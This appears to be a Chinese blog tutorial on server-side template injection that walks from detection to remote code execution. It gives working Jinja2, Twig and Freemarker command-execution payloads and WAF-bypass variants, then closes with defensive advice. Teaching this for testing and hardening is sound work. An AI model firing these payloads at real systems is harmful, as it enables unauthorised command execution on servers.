服务端模板注入(Server-Side Template Injection,SSTI)是近年来在 Web 安全领域备受关注的高危漏洞类型。当用户输入被直接拼接进模板引擎的渲染流程中,攻击者便可能通过精心构造的模板语法,从简单的信息泄露一路推进到远程代码执行(RCE)。本文将从漏洞原理出发,系统梳理从探测到利用的完整流程。
一、SSTI 的本质:用户输入与模板引擎的危险交汇
现代 Web 应用广泛使用模板引擎(如 Jinja2、Twig、Freemarker、Velocity、Smarty 等)来分离业务逻辑与页面展示。模板引擎的核心能力是“在静态模板中嵌入动态表达式”,例如 Jinja2 中的 {{ user.name }}。
问题出在开发人员错误地将用户可控输入当作模板内容来渲染,而非作为数据传入模板。典型的不安全写法如下:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/greet')
def greet():
name = request.args.get('name', '')
return render_template_string('Hello ' + name + '!')
当 name 传入 {{7*7}} 时,页面返回 Hello 49!——这意味着表达式被引擎执行了。此时,SSTI 漏洞已经存在。
二、第一步:探测与识别
2.1 确定注入点
SSTI 常见于以下场景:
- URL 参数直接回显在页面中;
- 用户昵称、个人简介等资料字段被模板渲染;
- 邮件模板、PDF 生成、报表导出等功能;
- 错误页面中回显用户输入。
2.2 数学表达式探测
最基础的探测方式是提交数学运算 payload:
{{7*7}} → 49(Jinja2、Twig 等)
${7*7} → 49(Freemarker、Velocity)
<%= 7*7 %> → 49(ERB)
#{7*7} → 49(Ruby 部分场景)
*{7*7} → 49(部分 Thymeleaf 场景)
如果返回 49,基本可以确认存在 SSTI;如果原样返回 {{7*7}},则说明输入被当作纯文本处理。
2.3 识别模板引擎
不同引擎的语法差异是识别关键。经典判断链如下:
{{7*'7'}}
- Jinja2 返回
7777777(字符串重复); - Twig 返回
49(数值运算); - 若
{{7*7}}有效但{{7*'7'}}报错,则可能是 Nunjucks 或其它引擎。
此外,还可以通过报错信息、特殊变量(如 {{config}}、{{self}}、${.version})进一步确认引擎类型与版本。
三、第二步:信息收集与上下文逃逸
确认引擎后,下一步是收集运行时信息,寻找逃逸沙箱的路径。
3.1 Jinja2 环境探测
{{config}} # 查看 Flask 配置
{{self.__class__}} # 获取类信息
{{''.__class__.__mro__}} # 查看方法解析顺序
{{request}} # 获取请求对象
{{config.__class__.__init__.__globals__}} # 获取全局命名空间
__globals__ 中往往包含 os、sys、subprocess 等模块,是通往 RCE 的关键跳板。
3.2 常见逃逸链
以 Jinja2 为例,经典 RCE 链:
{{''.__class__.__mro__[1].__subclasses__()}}
该表达式列出所有已加载的子类。找到 subprocess.Popen 或 os._wrap_close 后,即可调用系统命令:
{{''.__class__.__mro__[1].__subclasses__()[X]('id', shell=True, stdout=-1).communicate()}}
更简洁的写法利用 cycler、lipsum 等内置对象:
{{cycler.__init__.__globals__.os.popen('id').read()}}
{{lipsum.__globals__['os'].popen('whoami').read()}}
3.3 Twig 的利用路径
Twig 中常用 _self 环境变量:
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
或利用 filter、map 等函数:
{{['id']|filter('system')}}
3.4 Freemarker 的利用
Freemarker 中可通过 Execute 工具类执行命令:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
四、第三步:从信息泄露到 RCE
完整的利用流程可以归纳为四个阶段:
- 探测阶段:提交
{{7*7}}等 payload,确认漏洞存在; - 识别阶段:通过语法差异判断模板引擎类型与版本;
- 信息收集阶段:读取配置、环境变量、源码路径、依赖库版本;
- 利用阶段:构造逃逸链,调用系统命令,获取 shell 或反弹连接。
在实际渗透测试中,若目标存在 WAF,还需对 payload 进行编码、拼接、大小写混淆等绕过处理。例如:
{{''['__cl'+'ass__']['__mr'+'o__']}}
{{request['__cl'+'ass__']}}
五、防御建议
SSTI 的根源在于“将用户输入当作模板渲染”。有效的防御措施包括:
- 禁止拼接:使用参数化模板,将用户输入作为变量传入,而非拼接到模板字符串中;
- 沙箱渲染:启用模板引擎的沙箱模式(如 Jinja2 的
SandboxedEnvironment); - 输入校验:对用户输入进行白名单过滤,拒绝包含模板语法的内容;
- 最小权限:限制应用进程的系统权限,降低 RCE 后的影响面;
- 依赖更新:及时修补模板引擎的已知沙箱逃逸漏洞。
六、结语
SSTI 的危害在于它往往能直接突破应用层,直达操作系统层。从一行 {{7*7}} 开始,攻击者可以在数分钟内完成从探测到 RCE 的全过程。对于开发者而言,理解模板引擎的执行模型、避免危险的字符串拼接,是杜绝此类漏洞的根本;对于安全从业者而言,掌握从探测到利用的完整链条,则是评估与加固系统的必要技能。
未经允许不得转载:任鹏个人博客 » SSTI 服务端模板注入:从探测到 RCE 的完整利用流程

